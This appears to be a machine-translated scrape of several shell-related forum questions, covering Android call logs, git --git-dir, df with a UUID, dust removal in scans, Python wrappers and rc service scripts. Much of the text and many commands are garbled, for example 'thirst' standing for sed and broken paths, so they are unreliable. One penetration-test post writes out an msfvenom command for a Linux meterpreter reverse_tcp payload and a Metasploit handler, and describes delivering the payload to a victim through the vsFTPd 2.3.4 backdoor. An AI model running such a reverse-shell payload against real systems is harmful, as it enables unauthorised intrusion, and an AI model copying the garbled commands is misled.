registration: can not find the call log from adb shell

The phone is a Samsung Galaxy E5 SM-E500m (lte, double chip, code name e5lte). Android version 5.1.1 "palette" Stock ROM.

I pulled out the database file from /data/data/com.android.providers.contacts/databases/contacts2.db and I tried to inspect it with the DB Browser for SQLite and also with the sqlite3 Command line tool.

The file is 1.7MiB in size. It has 42 tables.

From my research efforts, I expected to see the call log in the calls table; but it is empty (0 records).
Other tables in this db file seem to have data.

I also checked the file /data/data/com.android.providers.telephony/databases/telephony.db but it does not seem to contain call records (only 4 tables: android_metadata, transporters, siminfo Y sqlite_sequence).

Where else can I potentially find the call logs for this device?

The call log is displayed correctly in the Phone application.

Thank you.

c – How to pass values ​​within the program in shell?

I have the following script.sh.

#! / Bin / bash
cc client.c -o cli
./cli
echo 1
echo "message1"

It compiles the code and creates an executable "cli", then executes the program and is waiting for an integer and a string. How can I send these values ​​to the program using the .sh script?

shell – Can not set –git-dir in ZSH

I'm trying to follow this tutorial here https://www.atlassian.com/git/tutorials/dotfiles that involves alias git along with git-dir. But when I try to use –git-dir, my shell tells me "that file or directory does not exist". I reduced it to this:

$ init init --bare $ HOME / .cfg
$ git --git-dir = $ HOME / .cfg log
zsh: there is no such file or directory: git --git-dir = / root / .cfg

I'm just using git record Here to demonstrate the strange behavior of the shell.

$ git version
git version 2.17.1
$ $ SHELL --version
zsh 5.4.2 (x86_64-ubuntu-linux-gnu)

Any ideas on how to solve this?

execute a bash shell command

I would like to ask you why this command works.

df -P / dev / sda1 | grep / dev / sda1 | awk & # 39; {print $ 5} & # 39; | thirst & # 39; s /% // g & # 39;

But is not it?

df -P / dev / disk / by-uuid / 0E5E17800E5E1780 | grep / dev / disk / by-uuid / 0E5E17800E5E1780 | awk & # 39; {print $ 5} & # 39; | thirst & # 39; s /% // g & # 39;

Something to change or is it impossible for it to work with uuid?

Have a great day

Thank you

Scanning: from the Linux shell, how to batch dust off the images by scanning the dust?

I have a large number of scans performed with the same scanner. After noticing that there are a few consistent powder specifications in the images, I scanned the dust hoping to somehow remove the dust from the images, but I could not understand it. Is there any way I can use ImageMagick (or a similar script utility that works on Linux) to use dust scanning (magically) to remove dust from the rest of the images?

python: What is the simplest way to wrap an object in such a way that the shell __call__ calls the wrapped objects __getitem__ method

Consider the following code snippet:

dikt = {
"City": "Denver",
"State": "Colorado",
"Street": "123 Nowhere St."
}

kal = wrap (dikt)

assert (kal ("City") == dikt["City"])
assert (kal ("State") == dikt["State"])

What is the easiest way to implement the wrap function? We want the wrap __call__ Method to call the wrapped objects. __get the object__ method.

terminal – How to execute an equivalent function of the Xcode instruments> "File activity" in shell?

Have you tried fs_usage with the -f filesys or diskio option?

DESCRIPTION

The fs_usage utility presents a continuous display of the system's call usage information pertaining to the file system activity. Requires root privileges due to the
Ease of tracking the core you use to operate. By default, the monitored activity includes all system processes, except the running fs_usage process, Terminal,
telnetd, telnet, sshd, rlogind, tcsh, csh, sh and zsh. These default values ​​can be overridden so that the output is limited to include or exclude a list of
Assignments specified by the user.

linux – show message when command throws empty – BASH – SHELL

I have a shell which verifies if there are files to date.
But I would like you to show me a message when it does not work.

Any command to validate when the command empties?

#Variables
vDay = $ (date +% Y-% m-% d)

cat text.log | grep $ vDay

Penetration test: executable reverse shell payload will not run on a Linux machine

Payload: msfvenom -p linux / x86 / meterpreter / reverse_tcp LHOST = 192.168.56.222 LPORT = 443 -f elf> hack.elf

Listener / Handler: exploit / multi / handler; set PAYLOAD linux / x86 / shell / reverse_tcp;

Then, after generating the executable payload on the attacking machine, I copied it to the victim machine with "wget". When I run the executable on the victim machine, I receive this error:

& # 39; /hack.elf: line 1: syntax error near the unexpected token `vsFTPd & # 39;
& # 39; /hack.elf: line 1: `220 (vsFTPd 2.3.4)

Without anything appearing in my interlocutor, what am I doing wrong?

EDIT: I won the session on the victim machine through the VSFTPD backdoor command execution exploit v2.3.4

Failed to treat input in shell script

Why not?
that would work in the following way:

in the /etc/rc.d/ directory we have the following programs
rc.networkmanager
rc.mysqld
rc.postgresql
rc.tomcat
rc.httpd

in the case of the same to start up some seriço I have to do:
bash $ sudo /etc/rc.d/rc.mysqld start

but my goal is to create a script that would change that
and in the event that this is not the case,

bash $ service mysql start

but I do not know what to do, but I do not know what to do, but I do not know what to do.
How could I do it in a simple and better way?

The script is the following:

https://pastebin.com/KEFYMa2E

I started based on:

https://pastebin.com/BCrd4CQZ